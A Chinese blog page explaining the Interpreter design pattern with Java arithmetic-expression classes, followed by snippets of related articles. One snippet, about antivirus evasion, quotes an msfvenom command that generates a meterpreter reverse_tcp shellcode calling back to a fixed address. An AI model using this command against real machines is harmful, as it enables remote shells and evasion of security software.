设计模式----解释器模式

一、简介

        解释器模式使用频率并不高,通常用来构建一个简单语言的语法解释器,它只在一些非常特定的领域被用到,比如编译器、规则引擎、正则表达式、sql解析等。

        解释器模式是行为型设计模式之一,它的原始定义为:用于定义语言语法规则表示,并提供解释器来处理句子中的语法。

        我们通过一个例子来解释下解释器模式,假设我们设计一个软件来进行加减计算,我们第一想法就是使用工具类,提供对应的加法和减法的工具方法。

public int add(int a,int b){
return a+b;
}public int add(int a,int b,int c){
return a+b+c;
}
......

上面的形式比较单一、有限如果形式变化非常多,这就不符合要求,因为加法和减法运算,两个运算符数组可以有无限种合作方式,比如1+3+2+1-5....

        解释器模式描述了如何为简单的语言定义一个文法,如何在该语言中表示一个句子,以及如何解释这些句子。

二、结构

        解释器模式由以下几种角色组成:

        ①抽象表达式角色:定义解释器的接口,约定解释器的操作,主要包含解释方法interoret

        ②终结符表达式角色:用来实现文发中与终结符相关的操作,文法中的每一个终结符都有一个具体的终结符表达式与之对应

        ③非终结符表达式:用来实现文法中与非终结符相关的操作,文法中每条规则都对应一个非终结符表达式

        ④上下文类:通常包含各个解释器需要的数据或者是公共的功能,一般用来传递所有解释器共享的数据。

三、实现

        我们定义一个进行加减乘除计算的语言,语法规则如下:

        ①运算符只包含加减乘除,并且没有优先级概念

        ②表达式中,先写数字后写运算符,空格隔开

// 表达式接口
public interface Expression {int interpret();
}// 加法解释器
public class AddExpression implements Expression {private Expression left;private Expression right;public AddExpression(Expression left, Expression right) {this.left = left;this.right = right;}@Overridepublic int interpret() {return left.interpret() + right.interpret();}
}// 减法解释器
public class SubtractExpression implements Expression {private Expression left;private Expression right;public SubtractExpression(Expression left, Expression right) {this.left = left;this.right = right;}@Overridepublic int interpret() {return left.interpret() - right.interpret();}
}// 乘法解释器
public class MultiplyExpression implements Expression {private Expression left;private Expression right;public MultiplyExpression(Expression left, Expression right) {this.left = left;this.right = right;}@Overridepublic int interpret() {return left.interpret() * right.interpret();}
}// 除法解释器
public class DivideExpression implements Expression {private Expression left;private Expression right;public DivideExpression(Expression left, Expression right) {this.left = left;this.right = right;}@Overridepublic int interpret() {try {return left.interpret() / right.interpret();} catch (ArithmeticException e) {System.out.println("除数不能为0");return -1;}}
}// 数字解释器
public class NumberExpression implements Expression {private int number;public NumberExpression(int number) {this.number = number;}@Overridepublic int interpret() {return number;}
}

现在我们可以使用这些类来解析四则运算表达式了。例如,对于表达式 “1 + 2 * 3 - 4 / 2”我们可以使用以下代码来解析该表达式:

Expression expression = new SubtractExpression(new AddExpression(new NumberExpression(1),new MultiplyExpression(new NumberExpression(2),new NumberExpression(3))),new DivideExpression(new NumberExpression(4),new NumberExpression(2)));
int result = expression.interpret();
System.out.println("计算结果为:" + result);

四、总结

优点

①易于改变可扩展文法,因为在解释器模式中实用类来表示语言的文法规则的,因此可以通过继承等机制改变或扩展文法,每一个文法规则都可以表示为一个类,因此我们可以快速的实现一个迷你的语言

②实现文法比较容易,在抽像语法术中每一个表达式节点的实现方式都是相似的,这些代码不特别复杂

③增加新的解释表达式比较方便,如果用户增加新的解释表达式,只需要对应增加一个新的表达式类就可以,原有的表达式不需修改,符合开闭原则

缺点

①对于复杂文法难以维护,在解释器中,一条规则至少要定义一个类,因此一个语言中有太多的文法规则,那么就会使类的个数急剧增加,导致系统的维护难以管理。

②执行效率低,在解释器模式中,大量的使用循环和递归调用,所以复杂的句子执行起来比较繁琐

使用场景

①当语言的文法比较简单时,并且执行的效率不是关键问题的时候

②当问题重复出现,且可以用一种简单的语言来表达

③当一个语言要解释执行,并且语言中的句子可以表示为一个抽象的语法树的时候。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/271268.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML学习笔记16——尺寸的表示_px、%、em三种

1.像素表示: 23px 2.子像素可以用百分比表示其大小,如50%,表示为父元素的一半 如果块状子元素的宽度不指定,默认是占满父元素的宽度; 3.用em表示字体大小时,表示相对大小,是与父元素的比值&…

mysql索引是自动使用吗_mysql索引是自动使用吗?

MYSQL在创建索引后对索引的使用方式分为两种:其一,由数据库的查询优化器自动判断是否使用索引;其二,用户可在写SQL语句时强制使用索引。MYSQL在创建索引后对索引的使用方式分为两种:1 由数据库的查询优化器自动判断是否…

mac idea配置配置自动清除类中无用的import包

1:mac快捷键清包 control option o windows快捷键 Ctrl Alt O 2:打开Perferences ---> Editor --->Auto Imort 在下图选中方方框中勾上

关系数据库基础:函数依赖知识笔记

1、函数依赖的定义设R(U)是属性集U.上的关系模式,X, Y是U的子集。若对于R(U)的任意一个可能的关系r,r中不可能存在两个元组在X集合上的属性值相等,而在Y上的属性值不等,则称X函数确定Y或Y函数依赖于X,记作X→Y。理解:X,Y为两个集合…

pythonspark实例_spark+python快速入门实战小例子(PySpark)

1、集群测试实例 代码如下: from pyspark.sql import SparkSession if __name__ "__main__": spark SparkSession\ .builder\ .appName("PythonWordCount")\ .master("spark://mini1:7077") \ .getOrCreate() spark.conf.set("…

SQL数据库。按年,月,日查询

select * from pop where year(pdate)年份 and month(pdate)>1 and month(pdate)<3select * from Mall_Coupons where year(StartDate)2011 and month(StartDate)>12 and month(StartDate)<2转载于:https://www.cnblogs.com/wybshyy/p/5847894.html

【Spark】Spark基础教程知识点

第 1 部分 Spark 基础 Spark 概述 本章介绍 Spark 的一些基本认识. Spark官方地址 一&#xff1a;什么是 Spark Spark 是一个快速(基于内存), 通用, 可扩展的集群计算引擎 并且 Spark 目前已经成为 Apache 最活跃的开源项目, 有超过 1000 个活跃的贡献者. 历史 2009 年…

关系数据库理论:数据库的六大范式知识笔记

1、数据库范式的作用数据库范式主要是为解决关系数据库中数据冗余、更新异常、插入异常、删除异常问题而引入的设计理念。简单来说&#xff0c;数据库范式可以避免数据冗余&#xff0c;减少数据库的存储空间&#xff0c;并且减轻维护数据完整性的成本。是关系数据库核心的技术之…

python 生成payload_利用Python进行Payload分离免杀

缺点&#xff1a;编译成exe以后体积过大实现&#xff1a;msf生成shellcode代码&#xff1a;msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.3.60 LPORT3333 -f c将payload给copy下来&#xff0c;去除引号。\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\…

ping不通docker_初识docker

前言大家好&#xff0c;我是jack xu&#xff0c;本篇是我在今日头条的首秀&#xff0c;我的英文名来源于jack ma&#xff0c;马云&#xff0c;所以大家也可以叫我徐云&#xff0c;即我希望像马云一样富有、成功&#xff0c;另外我名字中的杰与jack也是谐音关系。今天给大家带来…

H5基础标签

一、字体标签 1.text-indent&#xff1a;首行缩进 2.text-decoration&#xff1a;文本修饰&#xff08;text-decoration&#xff1a;none;除去文字的下划线&#xff1b;text-decoration&#xff1a;line-through&#xff1b;文字上加删除线&#xff09; 3.letter-spacing&#…

SQL语言基础:数据库语言概念介绍

1、概念介绍SQL&#xff08;Structured Query Lanauage&#xff09;结构化查询语言是关系数据库中最普遍使用的语言。主要包括查询、数据操纵、数据定义、数据控制功能&#xff0c;是一种通用的、功能强大的关系数据库的标准语言。2、SQL语言分类2.1 数据库定义语言&#xff08…

configuration 命名空间_kubernetes30:monitoring命名空间处于Terminating状态的处理方法...

删除monitoring命名空间时总也无法彻底删除&#xff0c;发现monitoring处于Terminating状态&#xff0c;故有此文。kubectl get namespaces -o wide解决&#xff1a;尝试使用force delete。kubectl delete namespace monitoring --force --grace-period0发现强制删除没有成功。…

SQL语言基础:SQL语言概念知识笔记

1、SQL标准ANSI&#xff08;美国国家标准机构&#xff09;SQL对ANSI SQL进行修改后在1992年采用的标准SQL-92或SQL2SQL-99或SQL3标准从SQL2扩充而来&#xff0c;增加了对象关系特征和许多其他新的功能。最近的标准版本是SQL&#xff1a;20032、SQL的特点综合统一&#xff1a;SQ…

重定向与转发

使用重定向方法sendRedirect()将用户重新定向到一个JSP页面或另一个Servlet。 RequestDispatcher对象调用void forward(ServletRequest request,ServletResponse response) 方法可以将用户对当前JSP页面或Servlet的请求转发给RequestDispatcher对象所指定的JSP页面或Servlet。 …

ubuntu mysql 内存满了_Ubuntu mysql可以把data防止到内存盘中

作者&#xff1a;李祥敬2010-03-04/17:57Ubuntu mysql对于电脑使用的玩家的常用软件&#xff0c;然后我就学习及深入的研究Ubuntu mysql&#xff0c;在这里和大家一起探讨Ubuntu mysql的使用方法&#xff0c;希望对大家有用。1、如果Ubuntu mysql的data数据很少&#xff0c;内存…

原型(Prototype)的场景是不支持循环依赖的

原型(Prototype)的场景是不支持循环依赖的&#xff0c;通常会走到AbstractBeanFactory类中下面的判断&#xff0c;抛出异常。

网络工程中,VLAN到底有什么作用?

什么是VLAN呢&#xff1f;VLAN&#xff08;Virtual Local Area Network&#xff09;即虚拟局域网&#xff0c;是将一个物理的LAN在逻辑上划分成多个广播域的通信技术。在IEEE802.1Internetworking委员会结束了对VLAN初期标准的修订工作的时候。新出台的标准进一步完善了VLAN的体…

java的decode_Java decode机试题

/**** java编写encode方法和decode方法&#xff0c;机试题 请你用java&#xff0c;c&#xff0c;c* 中任何一种语言实现两个函数encode()和decode()&#xff0c;分别实现对字符串的变换和复原。* 变换函数encode()顺序考察以知字符串的字符&#xff0c;按以下规则逐组生成新字符…

hrjava项目原型html_Mockplus for Mac(原型设计工具)

Mockplus for Mac是Mac平台上一款简单、快速的原型设计工具&#xff0c;无需任何编程&#xff0c;不需要任何编程基础知识&#xff0c;帮你快速使用Mockplus设计图形。Mockplus封装了近200个组件&#xff0c;提供3000个以上的图标素材。做图时&#xff0c;只需要把这些组件放入…